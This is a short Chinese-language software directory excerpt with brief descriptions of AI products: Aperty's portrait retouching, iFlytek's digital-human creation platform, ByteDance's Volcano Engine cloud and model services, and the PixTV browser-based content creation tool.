    Aperty 是 Skylum 推出的 AI 人像修图软件,支持自然肤质修饰、瑕疵处理、面部与身体调整、预设及批量同步。

    WINDOWS 更多
    讯飞智作 网页版
    讯飞智作 网页版
    Windows/ macOS/ Linux

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版
    Windows/ macOS/ Linux

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    PixTV 网页版
    PixTV 网页版
    Windows

    PixTV 是一款在浏览器中使用的 AI 视觉内容创作平台,提供图片、视频、音频、文字生成、AI 分镜、局部重绘、提示词反推和无限画布等工具,适合短剧、漫剧、广告及社交媒体内容制作。